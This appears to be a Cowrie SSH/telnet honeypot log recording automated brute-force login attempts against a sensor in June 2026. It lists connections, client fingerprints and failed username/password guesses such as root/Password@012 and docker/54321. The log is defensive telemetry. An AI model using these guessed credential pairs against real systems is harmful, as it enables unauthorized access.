{"eventid":"cowrie.login.failed","username":"admin","password":"sixtynine","message":"login attempt [admin/sixtynine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:24.268737Z","src_ip":"91.92.40.36","session":"83c4c0ee12be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51758,"dst_ip":"159.203.135.109","dst_port":22,"session":"35b4eb78e704","protocol":"ssh","message":"New connection: 91.92.40.36:51758 (159.203.135.109:22) [session: 35b4eb78e704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:25.934000Z"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:26.760690Z","src_ip":"91.92.40.36","session":"83c4c0ee12be","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:27.402220Z","src_ip":"91.92.40.36","session":"35b4eb78e704","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:27.415952Z","src_ip":"91.92.40.36","session":"35b4eb78e704","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazxsw2","message":"login attempt [ubuntu/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:30.381757Z","src_ip":"91.92.40.36","session":"35b4eb78e704","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:31.814928Z","src_ip":"91.92.40.36","session":"35b4eb78e704","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":51806,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7146647e9fb","protocol":"ssh","message":"New connection: 91.92.40.36:51806 (159.203.135.109:22) [session: a7146647e9fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:33.448958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:34.666660Z","src_ip":"91.92.40.36","session":"a7146647e9fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:34.673979Z","src_ip":"91.92.40.36","session":"a7146647e9fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33384,"dst_ip":"10.17.0.5","dst_port":22,"session":"97dc8f3987df","protocol":"ssh","message":"New connection: 27.71.230.31:33384 (10.17.0.5:22) [session: 97dc8f3987df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:37.818526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:38.605706Z","src_ip":"27.71.230.31","session":"97dc8f3987df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:38.608819Z","src_ip":"27.71.230.31","session":"97dc8f3987df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"321","message":"login attempt [ubuntu/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:39.650046Z","src_ip":"91.92.40.36","session":"a7146647e9fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:40.947918Z","src_ip":"91.92.40.36","session":"a7146647e9fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@012","message":"login attempt [root/Password@012] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:41.127100Z","src_ip":"27.71.230.31","session":"97dc8f3987df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":40408,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4e9ae659775","protocol":"telnet","message":"New connection: 128.199.8.54:40408 (159.203.135.109:23) [session: c4e9ae659775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:42.030259Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":26194,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f85c9f550f","protocol":"ssh","message":"New connection: 91.92.40.36:26194 (159.203.135.109:22) [session: 13f85c9f550f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:43.846800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:44.585480Z","src_ip":"91.92.40.36","session":"13f85c9f550f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.90.100.147","src_port":33797,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c730d9a6cd8","protocol":"ssh","message":"New connection: 41.90.100.147:33797 (159.203.135.109:22) [session: 6c730d9a6cd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:44.604377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:44.608320Z","src_ip":"41.90.100.147","session":"6c730d9a6cd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:44.679098Z","src_ip":"27.71.230.31","session":"97dc8f3987df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:44.825468Z","src_ip":"41.90.100.147","session":"6c730d9a6cd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yining","password":"yining","message":"login attempt [yining/yining] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:45.726184Z","src_ip":"41.90.100.147","session":"6c730d9a6cd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:47.022033Z","src_ip":"41.90.100.147","session":"6c730d9a6cd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:47.757783Z","src_ip":"91.92.40.36","session":"13f85c9f550f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"slut69","message":"login attempt [admin/slut69] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:50.617280Z","src_ip":"91.92.40.36","session":"13f85c9f550f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":33438,"dst_ip":"10.17.0.5","dst_port":23,"session":"0776a294ad8d","protocol":"telnet","message":"New connection: 94.23.66.112:33438 (10.17.0.5:23) [session: 0776a294ad8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:51.284014Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18428,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a1cc3d80788","protocol":"ssh","message":"New connection: 91.92.40.36:18428 (159.203.135.109:22) [session: 6a1cc3d80788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:52.223624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:52.373548Z","src_ip":"91.92.40.36","session":"6a1cc3d80788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.1798415184021,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:52.445937Z","src_ip":"172.81.62.90","session":"76724b43b57c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.9","message":"Connection lost after 8.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:52.778492Z","src_ip":"91.92.40.36","session":"13f85c9f550f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:53.681842Z","src_ip":"91.92.40.36","session":"6a1cc3d80788","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"654321","message":"login attempt [backup/654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:57.894587Z","src_ip":"91.92.40.36","session":"6a1cc3d80788","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50700,"dst_ip":"159.203.135.109","dst_port":22,"session":"0273372dfef1","protocol":"ssh","message":"New connection: 91.92.40.36:50700 (159.203.135.109:22) [session: 0273372dfef1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:58.185242Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:58.342473Z","src_ip":"91.92.40.36","session":"0273372dfef1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:58.347658Z","src_ip":"91.92.40.36","session":"0273372dfef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"54321","message":"login attempt [docker/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:58.964623Z","src_ip":"91.92.40.36","session":"0273372dfef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:40:59.864228Z","src_ip":"91.92.40.36","session":"6a1cc3d80788","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:00.223722Z","src_ip":"91.92.40.36","session":"0273372dfef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50736,"dst_ip":"159.203.135.109","dst_port":22,"session":"afb39b647158","protocol":"ssh","message":"New connection: 91.92.40.36:50736 (159.203.135.109:22) [session: afb39b647158]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:05.419485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:05.724831Z","src_ip":"91.92.40.36","session":"afb39b647158","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:05.728398Z","src_ip":"91.92.40.36","session":"afb39b647158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer123","message":"login attempt [developer/developer123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:41:06.964622Z","src_ip":"91.92.40.36","session":"afb39b647158","protocol":"ssh"}
